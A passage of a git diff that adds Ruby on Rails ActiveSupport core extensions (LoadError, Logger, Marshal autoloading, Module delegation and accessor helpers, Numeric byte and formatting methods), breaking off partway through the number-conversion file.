+++ b/activesupport/lib/active_support/core_ext/load_error.rb
@@ -0,0 +1,25 @@
+class LoadError
+ REGEXPS = [
+ /^no such file to load -- (.+)$/i,
+ /^Missing \w+ (?:file\s*)?([^\s]+.rb)$/i,
+ /^Missing API definition file in (.+)$/i,
+ /^cannot load such file -- (.+)$/i,
+ ]
+
+ unless method_defined?(:path)
+ def path
+ @path ||= begin
+ REGEXPS.find do |regex|
+ message =~ regex
+ end
+ $1
+ end
+ end
+ end
+
+ def is_missing?(location)
+ location.sub(/\.rb$/, '') == path.sub(/\.rb$/, '')
+ end
+end
+
+MissingSourceFile = LoadError
\ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/logger.rb b/activesupport/lib/active_support/core_ext/logger.rb
new file mode 100644
index 0000000..34de766
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/logger.rb
@@ -0,0 +1,67 @@
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/deprecation'
+require 'active_support/logger_silence'
+
+ActiveSupport::Deprecation.warn 'this file is deprecated and will be removed'
+
+# Adds the 'around_level' method to Logger.
+class Logger #:nodoc:
+ def self.define_around_helper(level)
+ module_eval <<-end_eval, __FILE__, __LINE__ + 1
+ def around_#{level}(before_message, after_message) # def around_debug(before_message, after_message, &block)
+ self.#{level}(before_message) # self.debug(before_message)
+ return_value = yield(self) # return_value = yield(self)
+ self.#{level}(after_message) # self.debug(after_message)
+ return_value # return_value
+ end # end
+ end_eval
+ end
+ [:debug, :info, :error, :fatal].each {|level| define_around_helper(level) }
+end
+
+require 'logger'
+
+# Extensions to the built-in Ruby logger.
+#
+# If you want to use the default log formatter as defined in the Ruby core, then you
+# will need to set the formatter for the logger as in:
+#
+# logger.formatter = Formatter.new
+#
+# You can then specify the datetime format, for example:
+#
+# logger.datetime_format = "%Y-%m-%d"
+#
+# Note: This logger is deprecated in favor of ActiveSupport::Logger
+class Logger
+ include LoggerSilence
+
+ alias :old_datetime_format= :datetime_format=
+ # Logging date-time format (string passed to +strftime+). Ignored if the formatter
+ # does not respond to datetime_format=.
+ def datetime_format=(format)
+ formatter.datetime_format = format if formatter.respond_to?(:datetime_format=)
+ end
+
+ alias :old_datetime_format :datetime_format
+ # Get the logging datetime format. Returns nil if the formatter does not support
+ # datetime formatting.
+ def datetime_format
+ formatter.datetime_format if formatter.respond_to?(:datetime_format)
+ end
+
+ alias :old_initialize :initialize
+ # Overwrite initialize to set a default formatter.
+ def initialize(*args)
+ old_initialize(*args)
+ self.formatter = SimpleFormatter.new
+ end
+
+ # Simple formatter which only displays the message.
+ class SimpleFormatter < Logger::Formatter
+ # This method is invoked when a log event occurs
+ def call(severity, timestamp, progname, msg)
+ "#{String === msg ? msg : msg.inspect}\n"
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/marshal.rb b/activesupport/lib/active_support/core_ext/marshal.rb
new file mode 100644
index 0000000..c7a8348
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/marshal.rb
@@ -0,0 +1,19 @@
+module Marshal
+ class << self
+ def load_with_autoloading(source)
+ load_without_autoloading(source)
+ rescue ArgumentError, NameError => exc
+ if exc.message.match(%r|undefined class/module (.+)|)
+ # try loading the class/module
+ $1.constantize
+ # if it is a IO we need to go back to read the object
+ source.rewind if source.respond_to?(:rewind)
+ retry
+ else
+ raise exc
+ end
+ end
+
+ alias_method_chain :load, :autoloading
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb
new file mode 100644
index 0000000..f2d4887
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module.rb
@@ -0,0 +1,10 @@
+require 'active_support/core_ext/module/aliasing'
+require 'active_support/core_ext/module/introspection'
+require 'active_support/core_ext/module/anonymous'
+require 'active_support/core_ext/module/reachable'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/delegation'
+require 'active_support/core_ext/module/deprecation'
+require 'active_support/core_ext/module/remove_method'
+require 'active_support/core_ext/module/qualified_const'
diff --git a/activesupport/lib/active_support/core_ext/module/aliasing.rb b/activesupport/lib/active_support/core_ext/module/aliasing.rb
new file mode 100644
index 0000000..580cb80
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/aliasing.rb
@@ -0,0 +1,69 @@
+class Module
+ # Encapsulates the common pattern of:
+ #
+ # alias_method :foo_without_feature, :foo
+ # alias_method :foo, :foo_with_feature
+ #
+ # With this, you simply do:
+ #
+ # alias_method_chain :foo, :feature
+ #
+ # And both aliases are set up for you.
+ #
+ # Query and bang methods (foo?, foo!) keep the same punctuation:
+ #
+ # alias_method_chain :foo?, :feature
+ #
+ # is equivalent to
+ #
+ # alias_method :foo_without_feature?, :foo?
+ # alias_method :foo?, :foo_with_feature?
+ #
+ # so you can safely chain foo, foo?, and foo! with the same feature.
+ def alias_method_chain(target, feature)
+ # Strip out punctuation on predicates or bang methods since
+ # e.g. target?_without_feature is not a valid method name.
+ aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1
+ yield(aliased_target, punctuation) if block_given?
+
+ with_method = "#{aliased_target}_with_#{feature}#{punctuation}"
+ without_method = "#{aliased_target}_without_#{feature}#{punctuation}"
+
+ alias_method without_method, target
+ alias_method target, with_method
+
+ case
+ when public_method_defined?(without_method)
+ public target
+ when protected_method_defined?(without_method)
+ protected target
+ when private_method_defined?(without_method)
+ private target
+ end
+ end
+
+ # Allows you to make aliases for attributes, which includes
+ # getter, setter, and query methods.
+ #
+ # class Content < ActiveRecord::Base
+ # # has a title attribute
+ # end
+ #
+ # class Email < Content
+ # alias_attribute :subject, :title
+ # end
+ #
+ # e = Email.find(1)
+ # e.title # => "Superstars"
+ # e.subject # => "Superstars"
+ # e.subject? # => true
+ # e.subject = "Megastars"
+ # e.title # => "Megastars"
+ def alias_attribute(new_name, old_name)
+ module_eval <<-STR, __FILE__, __LINE__ + 1
+ def #{new_name}; self.#{old_name}; end # def subject; self.title; end
+ def #{new_name}?; self.#{old_name}?; end # def subject?; self.title?; end
+ def #{new_name}=(v); self.#{old_name} = v; end # def subject=(v); self.title = v; end
+ STR
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/anonymous.rb b/activesupport/lib/active_support/core_ext/module/anonymous.rb
new file mode 100644
index 0000000..b0c7b02
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/anonymous.rb
@@ -0,0 +1,19 @@
+class Module
+ # A module may or may not have a name.
+ #
+ # module M; end
+ # M.name # => "M"
+ #
+ # m = Module.new
+ # m.name # => nil
+ #
+ # A module gets a name when it is first assigned to a constant. Either
+ # via the +module+ or +class+ keyword or by an explicit assignment:
+ #
+ # m = Module.new # creates an anonymous module
+ # M = m # => m gets a name here as a side-effect
+ # m.name # => "M"
+ def anonymous?
+ name.nil?
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/attr_internal.rb b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
new file mode 100644
index 0000000..db07d54
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
@@ -0,0 +1,38 @@
+class Module
+ # Declares an attribute reader backed by an internally-named instance variable.
+ def attr_internal_reader(*attrs)
+ attrs.each {|attr_name| attr_internal_define(attr_name, :reader)}
+ end
+
+ # Declares an attribute writer backed by an internally-named instance variable.
+ def attr_internal_writer(*attrs)
+ attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}
+ end
+
+ # Declares an attribute reader and writer backed by an internally-named instance
+ # variable.
+ def attr_internal_accessor(*attrs)
+ attr_internal_reader(*attrs)
+ attr_internal_writer(*attrs)
+ end
+ alias_method :attr_internal, :attr_internal_accessor
+
+ class << self; attr_accessor :attr_internal_naming_format end
+ self.attr_internal_naming_format = '@_%s'
+
+ private
+ def attr_internal_ivar_name(attr)
+ Module.attr_internal_naming_format % attr
+ end
+
+ def attr_internal_define(attr_name, type)
+ internal_name = attr_internal_ivar_name(attr_name).sub(/\A@/, '')
+ class_eval do # class_eval is necessary on 1.9 or else the methods a made private
+ # use native attr_* methods as they are faster on some Ruby implementations
+ send("attr_#{type}", internal_name)
+ end
+ attr_name, internal_name = "#{attr_name}=", "#{internal_name}=" if type == :writer
+ alias_method attr_name, internal_name
+ remove_method internal_name
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
new file mode 100644
index 0000000..672cc02
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -0,0 +1,66 @@
+require 'active_support/core_ext/array/extract_options'
+
+class Module
+ def mattr_reader(*syms)
+ options = syms.extract_options!
+ syms.each do |sym|
+ raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+ class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ @@#{sym} = nil unless defined? @@#{sym}
+
+ def self.#{sym}
+ @@#{sym}
+ end
+ EOS
+
+ unless options[:instance_reader] == false || options[:instance_accessor] == false
+ class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ def #{sym}
+ @@#{sym}
+ end
+ EOS
+ end
+ end
+ end
+
+ def mattr_writer(*syms)
+ options = syms.extract_options!
+ syms.each do |sym|
+ raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+ class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ def self.#{sym}=(obj)
+ @@#{sym} = obj
+ end
+ EOS
+
+ unless options[:instance_writer] == false || options[:instance_accessor] == false
+ class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ def #{sym}=(obj)
+ @@#{sym} = obj
+ end
+ EOS
+ end
+ end
+ end
+
+ # Extends the module object with module and instance accessors for class attributes,
+ # just like the native attr* accessors for instance attributes.
+ #
+ # module AppConfiguration
+ # mattr_accessor :google_api_key
+ #
+ # self.google_api_key = "123456789"
+ # end
+ #
+ # AppConfiguration.google_api_key # => "123456789"
+ # AppConfiguration.google_api_key = "overriding the api key!"
+ # AppConfiguration.google_api_key # => "overriding the api key!"
+ #
+ # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+ # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+ # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
+ def mattr_accessor(*syms)
+ mattr_reader(*syms)
+ mattr_writer(*syms)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
new file mode 100644
index 0000000..6d42667
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -0,0 +1,196 @@
+class Module
+ # Provides a +delegate+ class method to easily expose contained objects'
+ # public methods as your own.
+ #
+ # The macro receives one or more method names (specified as symbols or
+ # strings) and the name of the target object via the <tt>:to</tt> option
+ # (also a symbol or string).
+ #
+ # Delegation is particularly useful with Active Record associations:
+ #
+ # class Greeter < ActiveRecord::Base
+ # def hello
+ # 'hello'
+ # end
+ #
+ # def goodbye
+ # 'goodbye'
+ # end
+ # end
+ #
+ # class Foo < ActiveRecord::Base
+ # belongs_to :greeter
+ # delegate :hello, to: :greeter
+ # end
+ #
+ # Foo.new.hello # => "hello"
+ # Foo.new.goodbye # => NoMethodError: undefined method `goodbye' for #<Foo:0x1af30c>
+ #
+ # Multiple delegates to the same target are allowed:
+ #
+ # class Foo < ActiveRecord::Base
+ # belongs_to :greeter
+ # delegate :hello, :goodbye, to: :greeter
+ # end
+ #
+ # Foo.new.goodbye # => "goodbye"
+ #
+ # Methods can be delegated to instance variables, class variables, or constants
+ # by providing them as a symbols:
+ #
+ # class Foo
+ # CONSTANT_ARRAY = [0,1,2,3]
+ # @@class_array = [4,5,6,7]
+ #
+ # def initialize
+ # @instance_array = [8,9,10,11]
+ # end
+ # delegate :sum, to: :CONSTANT_ARRAY
+ # delegate :min, to: :@@class_array
+ # delegate :max, to: :@instance_array
+ # end
+ #
+ # Foo.new.sum # => 6
+ # Foo.new.min # => 4
+ # Foo.new.max # => 11
+ #
+ # It's also possible to delegate a method to the class by using +:class+:
+ #
+ # class Foo
+ # def self.hello
+ # "world"
+ # end
+ #
+ # delegate :hello, to: :class
+ # end
+ #
+ # Foo.new.hello # => "world"
+ #
+ # Delegates can optionally be prefixed using the <tt>:prefix</tt> option. If the value
+ # is <tt>true</tt>, the delegate methods are prefixed with the name of the object being
+ # delegated to.
+ #
+ # Person = Struct.new(:name, :address)
+ #
+ # class Invoice < Struct.new(:client)
+ # delegate :name, :address, to: :client, prefix: true
+ # end
+ #
+ # john_doe = Person.new('John Doe', 'Vimmersvej 13')
+ # invoice = Invoice.new(john_doe)
+ # invoice.client_name # => "John Doe"
+ # invoice.client_address # => "Vimmersvej 13"
+ #
+ # It is also possible to supply a custom prefix.
+ #
+ # class Invoice < Struct.new(:client)
+ # delegate :name, :address, to: :client, prefix: :customer
+ # end
+ #
+ # invoice = Invoice.new(john_doe)
+ # invoice.customer_name # => 'John Doe'
+ # invoice.customer_address # => 'Vimmersvej 13'
+ #
+ # If the target is +nil+ and does not respond to the delegated method a
+ # +NoMethodError+ is raised, as with any other value. Sometimes, however, it
+ # makes sense to be robust to that situation and that is the purpose of the
+ # <tt>:allow_nil</tt> option: If the target is not +nil+, or it is and
+ # responds to the method, everything works as usual. But if it is +nil+ and
+ # does not respond to the delegated method, +nil+ is returned.
+ #
+ # class User < ActiveRecord::Base
+ # has_one :profile
+ # delegate :age, to: :profile
+ # end
+ #
+ # User.new.age # raises NoMethodError: undefined method `age'
+ #
+ # But if not having a profile yet is fine and should not be an error
+ # condition:
+ #
+ # class User < ActiveRecord::Base
+ # has_one :profile
+ # delegate :age, to: :profile, allow_nil: true
+ # end
+ #
+ # User.new.age # nil
+ #
+ # Note that if the target is not +nil+ then the call is attempted regardless of the
+ # <tt>:allow_nil</tt> option, and thus an exception is still raised if said object
+ # does not respond to the method:
+ #
+ # class Foo
+ # def initialize(bar)
+ # @bar = bar
+ # end
+ #
+ # delegate :name, to: :@bar, allow_nil: true
+ # end
+ #
+ # Foo.new("Bar").name # raises NoMethodError: undefined method `name'
+ #
+ def delegate(*methods)
+ options = methods.pop
+ unless options.is_a?(Hash) && to = options[:to]
+ raise ArgumentError, 'Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, to: :greeter).'
+ end
+
+ prefix, allow_nil = options.values_at(:prefix, :allow_nil)
+
+ if prefix == true && to =~ /^[^a-z_]/
+ raise ArgumentError, 'Can only automatically set the delegation prefix when delegating to a method.'
+ end
+
+ method_prefix = \
+ if prefix
+ "#{prefix == true ? to : prefix}_"
+ else
+ ''
+ end
+
+ file, line = caller.first.split(':', 2)
+ line = line.to_i
+
+ to = to.to_s
+ to = 'self.class' if to == 'class'
+
+ methods.each do |method|
+ # Attribute writer methods only accept one argument. Makes sure []=
+ # methods still accept two arguments.
+ definition = (method =~ /[^\]]=$/) ? 'arg' : '*args, &block'
+
+ # The following generated methods call the target exactly once, storing
+ # the returned value in a dummy variable.
+ #
+ # Reason is twofold: On one hand doing less calls is in general better.
+ # On the other hand it could be that the target has side-effects,
+ # whereas conceptualy, from the user point of view, the delegator should
+ # be doing one call.
+ if allow_nil
+ module_eval(<<-EOS, file, line - 3)
+ def #{method_prefix}#{method}(#{definition}) # def customer_name(*args, &block)
+ _ = #{to} # _ = client
+ if !_.nil? || nil.respond_to?(:#{method}) # if !_.nil? || nil.respond_to?(:name)
+ _.#{method}(#{definition}) # _.name(*args, &block)
+ end # end
+ end # end
+ EOS
+ else
+ exception = %(raise "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
+
+ module_eval(<<-EOS, file, line - 2)
+ def #{method_prefix}#{method}(#{definition}) # def customer_name(*args, &block)
+ _ = #{to} # _ = client
+ _.#{method}(#{definition}) # _.name(*args, &block)
+ rescue NoMethodError # rescue NoMethodError
+ if _.nil? # if _.nil?
+ #{exception} # # add helpful message to the exception
+ else # else
+ raise # raise
+ end # end
+ end # end
+ EOS
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/deprecation.rb b/activesupport/lib/active_support/core_ext/module/deprecation.rb
new file mode 100644
index 0000000..d873de1
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/deprecation.rb
@@ -0,0 +1,25 @@
+require 'active_support/deprecation/method_wrappers'
+
+class Module
+ # deprecate :foo
+ # deprecate bar: 'message'
+ # deprecate :foo, :bar, baz: 'warning!', qux: 'gone!'
+ #
+ # You can also use custom deprecator instance:
+ #
+ # deprecate :foo, deprecator: MyLib::Deprecator.new
+ # deprecate :foo, bar: "warning!", deprecator: MyLib::Deprecator.new
+ #
+ # \Custom deprecators must respond to <tt>deprecation_warning(deprecated_method_name, message, caller_backtrace)</tt>
+ # method where you can implement your custom warning behavior.
+ #
+ # class MyLib::Deprecator
+ # def deprecation_warning(deprecated_method_name, message, caller_backtrace = nil)
+ # message = "#{deprecated_method_name} is deprecated and will be removed from MyLibrary | #{message}"
+ # Kernel.warn message
+ # end
+ # end
+ def deprecate(*method_names)
+ ActiveSupport::Deprecation.deprecate_methods(self, *method_names)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/introspection.rb b/activesupport/lib/active_support/core_ext/module/introspection.rb
new file mode 100644
index 0000000..08e5f8a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/introspection.rb
@@ -0,0 +1,78 @@
+require 'active_support/inflector'
+
+class Module
+ # Returns the name of the module containing this one.
+ #
+ # M::N.parent_name # => "M"
+ def parent_name
+ if defined? @parent_name
+ @parent_name
+ else
+ @parent_name = name =~ /::[^:]+\Z/ ? $`.freeze : nil
+ end
+ end
+
+ # Returns the module which contains this one according to its name.
+ #
+ # module M
+ # module N
+ # end
+ # end
+ # X = M::N
+ #
+ # M::N.parent # => M
+ # X.parent # => M
+ #
+ # The parent of top-level and anonymous modules is Object.
+ #
+ # M.parent # => Object
+ # Module.new.parent # => Object
+ def parent
+ parent_name ? ActiveSupport::Inflector.constantize(parent_name) : Object
+ end
+
+ # Returns all the parents of this module according to its name, ordered from
+ # nested outwards. The receiver is not contained within the result.
+ #
+ # module M
+ # module N
+ # end
+ # end
+ # X = M::N
+ #
+ # M.parents # => [Object]
+ # M::N.parents # => [M, Object]
+ # X.parents # => [M, Object]
+ def parents
+ parents = []
+ if parent_name
+ parts = parent_name.split('::')
+ until parts.empty?
+ parents << ActiveSupport::Inflector.constantize(parts * '::')
+ parts.pop
+ end
+ end
+ parents << Object unless parents.include? Object
+ parents
+ end
+
+ def local_constants #:nodoc:
+ constants(false)
+ end
+
+ # *DEPRECATED*: Use +local_constants+ instead.
+ #
+ # Returns the names of the constants defined locally as strings.
+ #
+ # module M
+ # X = 1
+ # end
+ # M.local_constant_names # => ["X"]
+ #
+ # This method is useful for forward compatibility, since Ruby 1.8 returns
+ # constant names as strings, whereas 1.9 returns them as symbols.
+ def local_constant_names
+ ActiveSupport::Deprecation.warn 'Module#local_constant_names is deprecated, use Module#local_constants instead'
+ local_constants.map { |c| c.to_s }
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/qualified_const.rb b/activesupport/lib/active_support/core_ext/module/qualified_const.rb
new file mode 100644
index 0000000..6552501
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/qualified_const.rb
@@ -0,0 +1,52 @@
+require 'active_support/core_ext/string/inflections'
+
+#--
+# Allows code reuse in the methods below without polluting Module.
+#++
+module QualifiedConstUtils
+ def self.raise_if_absolute(path)
+ raise NameError.new("wrong constant name #$&") if path =~ /\A::[^:]+/
+ end
+
+ def self.names(path)
+ path.split('::')
+ end
+end
+
+##
+# Extends the API for constants to be able to deal with qualified names. Arguments
+# are assumed to be relative to the receiver.
+#
+#--
+# Qualified names are required to be relative because we are extending existing
+# methods that expect constant names, ie, relative paths of length 1. For example,
+# Object.const_get('::String') raises NameError and so does qualified_const_get.
+#++
+class Module
+ def qualified_const_defined?(path, search_parents=true)
+ QualifiedConstUtils.raise_if_absolute(path)
+
+ QualifiedConstUtils.names(path).inject(self) do |mod, name|
+ return unless mod.const_defined?(name, search_parents)
+ mod.const_get(name)
+ end
+ return true
+ end
+
+ def qualified_const_get(path)
+ QualifiedConstUtils.raise_if_absolute(path)
+
+ QualifiedConstUtils.names(path).inject(self) do |mod, name|
+ mod.const_get(name)
+ end
+ end
+
+ def qualified_const_set(path, value)
+ QualifiedConstUtils.raise_if_absolute(path)
+
+ const_name = path.demodulize
+ mod_name = path.deconstantize
+ mod = mod_name.empty? ? self : qualified_const_get(mod_name)
+ mod.const_set(const_name, value)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/reachable.rb b/activesupport/lib/active_support/core_ext/module/reachable.rb
new file mode 100644
index 0000000..5d3d0e9
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/reachable.rb
@@ -0,0 +1,8 @@
+require 'active_support/core_ext/module/anonymous'
+require 'active_support/core_ext/string/inflections'
+
+class Module
+ def reachable? #:nodoc:
+ !anonymous? && name.safe_constantize.equal?(self)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/remove_method.rb b/activesupport/lib/active_support/core_ext/module/remove_method.rb
new file mode 100644
index 0000000..719071d
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/remove_method.rb
@@ -0,0 +1,12 @@
+class Module
+ def remove_possible_method(method)
+ if method_defined?(method) || private_method_defined?(method)
+ undef_method(method)
+ end
+ end
+
+ def redefine_method(method, &block)
+ remove_possible_method(method)
+ define_method(method, &block)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/name_error.rb b/activesupport/lib/active_support/core_ext/name_error.rb
new file mode 100644
index 0000000..e1ebd4f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/name_error.rb
@@ -0,0 +1,18 @@
+class NameError
+ # Extract the name of the missing constant from the exception message.
+ def missing_name
+ if /undefined local variable or method/ !~ message
+ $1 if /((::)?([A-Z]\w*)(::[A-Z]\w*)*)$/ =~ message
+ end
+ end
+
+ # Was this exception raised because the given name was missing?
+ def missing_name?(name)
+ if name.is_a? Symbol
+ last_name = (missing_name || '').split('::').last
+ last_name == name.to_s
+ else
+ missing_name == name.to_s
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric.rb b/activesupport/lib/active_support/core_ext/numeric.rb
new file mode 100644
index 0000000..d5cfc2e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric.rb
@@ -0,0 +1,4 @@
+require 'active_support/core_ext/numeric/bytes'
+require 'active_support/core_ext/numeric/time'
+require 'active_support/core_ext/numeric/conversions'
+require 'active_support/core_ext/numeric/infinite_comparable'
diff --git a/activesupport/lib/active_support/core_ext/numeric/bytes.rb b/activesupport/lib/active_support/core_ext/numeric/bytes.rb
new file mode 100644
index 0000000..deea8e9
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric/bytes.rb
@@ -0,0 +1,44 @@
+class Numeric
+ KILOBYTE = 1024
+ MEGABYTE = KILOBYTE * 1024
+ GIGABYTE = MEGABYTE * 1024
+ TERABYTE = GIGABYTE * 1024
+ PETABYTE = TERABYTE * 1024
+ EXABYTE = PETABYTE * 1024
+
+ # Enables the use of byte calculations and declarations, like 45.bytes + 2.6.megabytes
+ def bytes
+ self
+ end
+ alias :byte :bytes
+
+ def kilobytes
+ self * KILOBYTE
+ end
+ alias :kilobyte :kilobytes
+
+ def megabytes
+ self * MEGABYTE
+ end
+ alias :megabyte :megabytes
+
+ def gigabytes
+ self * GIGABYTE
+ end
+ alias :gigabyte :gigabytes
+
+ def terabytes
+ self * TERABYTE
+ end
+ alias :terabyte :terabytes
+
+ def petabytes
+ self * PETABYTE
+ end
+ alias :petabyte :petabytes
+
+ def exabytes
+ self * EXABYTE
+ end
+ alias :exabyte :exabytes
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric/conversions.rb b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
new file mode 100644
index 0000000..6d3635c
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
@@ -0,0 +1,135 @@
+require 'active_support/core_ext/big_decimal/conversions'
+require 'active_support/number_helper'
+
+class Numeric
+
+ # Provides options for converting numbers into formatted strings.
+ # Options are provided for phone numbers, currency, percentage,
+ # precision, positional notation, file size and pretty printing.
+ #
+ # ==== Options
+ #
+ # For details on which formats use which options, see ActiveSupport::NumberHelper
+ #
+ # ==== Examples
+ #
+ # Phone Numbers:
+ # 5551234.to_s(:phone) # => 555-1234
+ # 1235551234.to_s(:phone) # => 123-555-1234
+ # 1235551234.to_s(:phone, area_code: true) # => (123) 555-1234
+ # 1235551234.to_s(:phone, delimiter: ' ') # => 123 555 1234
+ # 1235551234.to_s(:phone, area_code: true, extension: 555) # => (123) 555-1234 x 555
+ # 1235551234.to_s(:phone, country_code: 1) # => +1-123-555-1234
+ # 1235551234.to_s(:phone, country_code: 1, extension: 1343, delimiter: '.')
+ # # => +1.123.555.1234 x 1343
+ #
+ # Currency:
+ # 1234567890.50.to_s(:currency) # => $1,234,567,890.50
+ # 1234567890.506.to_s(:currency) # => $1,234,567,890.51
+ # 1234567890.506.to_s(:currency, precision: 3) # => $1,234,567,890.506
+ # 1234567890.506.to_s(:currency, locale: :fr) # => 1 234 567 890,51 €
+ # -1234567890.50.to_s(:currency, negative_format: '(%u%n)')
+ # # => ($1,234,567,890.50)
+ # 1234567890.50.to_s(:currency, unit: '£', separator: ',', delimiter: '')
+ # # => £1234567890,50
+ # 1234567890.50.to_s(:currency, unit: '£', separator: ',', delimiter: '', format: '%n %u')
+ # # => 1234567890,50 £
+ #
+ # Percentage:
+ # 100.to_s(:percentage) # => 100.000%
+ # 100.to_s(:percentage, precision: 0) # => 100%
+ # 1000.to_s(:percentage, delimiter: '.', separator: ',') # => 1.000,000%
+ # 302.24398923423.to_s(:percentage, precision: 5) # => 302.24399%
+ # 1000.to_s(:percentage, locale: :fr) # => 1 000,000%
+ # 100.to_s(:percentage, format: '%n %') # => 100 %
+ #
+ # Delimited:
+ # 12345678.to_s(:delimited) # => 12,345,678
+ # 12345678.05.to_s(:delimited) # => 12,345,678.05
+ # 12345678.to_s(:delimited, delimiter: '.') # => 12.345.678
+ # 12345678.to_s(:delimited, delimiter: ',') # => 12,345,678
+ # 12345678.05.to_s(:delimited, separator: ' ') # => 12,345,678 05
+ # 12345678.05.to_s(:delimited, locale: :fr) # => 12 345 678,05
+ # 98765432.98.to_s(:delimited, delimiter: ' ', separator: ',')
+ # # => 98 765 432,98
+ #
+ # Rounded:
+ # 111.2345.to_s(:rounded) # => 111.235
+ # 111.2345.to_s(:rounded, precision: 2) # => 111.23
+ # 13.to_s(:rounded, precision: 5) # => 13.00000
+ # 389.32314.to_s(:rounded, precision: 0) # => 389
+ # 111.2345.to_s(:rounded, significant: true) # => 111
+ # 111.2345.to_s(:rounded, precision: 1, significant: true) # => 100
+ # 13.to_s(:rounded, precision: 5, significant: true) # => 13.000
+ # 111.234.to_s(:rounded, locale: :fr) # => 111,234
+ # 13.to_s(:rounded, precision: 5, significant: true, strip_insignificant_zeros: true)
+ # # => 13
+ # 389.32314.to_s(:rounded, precision: 4, significant: true) # => 389.3
+ # 1111.2345.to_s(:rounded, precision: 2, separator: ',', delimiter: '.')
+ # # => 1.111,23
+ #
+ # Human-friendly size in Bytes:
+ # 123.to_s(:human_size) # => 123 Bytes
+ # 1234.to_s(:human_size) # => 1.21 KB
+ # 12345.to_s(:human_size) # => 12.1 KB
+ # 1234567.to_s(:human_size) # => 1.18 MB
+ # 1234567890.to_s(:human_size) # => 1.15 GB
+ # 1234567890123.to_s(:human_size) # => 1.12 TB
+ # 1234567.to_s(:human_size, precision: 2) # => 1.2 MB
+ # 483989.to_s(:human_size, precision: 2) # => 470 KB
+ # 1234567.to_s(:human_size, precision: 2, separator: ',') # => 1,2 MB
+ # 1234567890123.to_s(:human_size, precision: 5) # => "1.1229 TB"
+ # 524288000.to_s(:human_size, precision: 5) # => "500 MB"
+ #
+ # Human-friendly format:
+ # 123.to_s(:human) # => "123"
+ # 1234.to_s(:human) # => "1.23 Thousand"
+ # 12345.to_s(:human) # => "12.3 Thousand"
+ # 1234567.to_s(:human) # => "1.23 Million"
+ # 1234567890.to_s(:human) # => "1.23 Billion"
+ # 1234567890123.to_s(:human) # => "1.23 Trillion"
+ # 1234567890123456.to_s(:human) # => "1.23 Quadrillion"
+ # 1234567890123456789.to_s(:human) # => "1230 Quadrillion"
+ # 489939.to_s(:human, precision: 2) # => "490 Thousand"
+ # 489939.to_s(:human, precision: 4) # => "489.9 Thousand"
+ # 1234567.to_s(:human, precision: 4,
+ # significant: false) # => "1.2346 Million"
+ # 1234567.to_s(:human, precision: 1,
+ # separator: ',',
+ # significant: false) # => "1,2 Million"
+ def to_formatted_s(format = :default, options = {})
+ case format
+ when :phone
+ return ActiveSupport::NumberHelper.number_to_phone(self, options)
+ when :currency
+ return ActiveSupport::NumberHelper.number_to_currency(self, options)
+ when :percentage
+ return ActiveSupport::NumberHelper.number_to_percentage(self, options)
+ when :delimited
+ return ActiveSupport::NumberHelper.number_to_delimited(self, options)
+ when :rounded
+ return ActiveSupport::NumberHelper.number_to_rounded(self, options)
+ when :human
+ return ActiveSupport::NumberHelper.number_to_human(self, options)
+ when :human_size
+ return ActiveSupport::NumberHelper.number_to_human_size(self, options)
+ else
+ self.to_default_s
+ end
+ end
+
+ [Float, Fixnum, Bignum, BigDecimal].each do |klass|
+ klass.send(:alias_method, :to_default_s, :to_s)
+
+ klass.send(:define_method, :to_s) do |*args|
+ if args[0].is_a?(Symbol)
+ format = args[0]
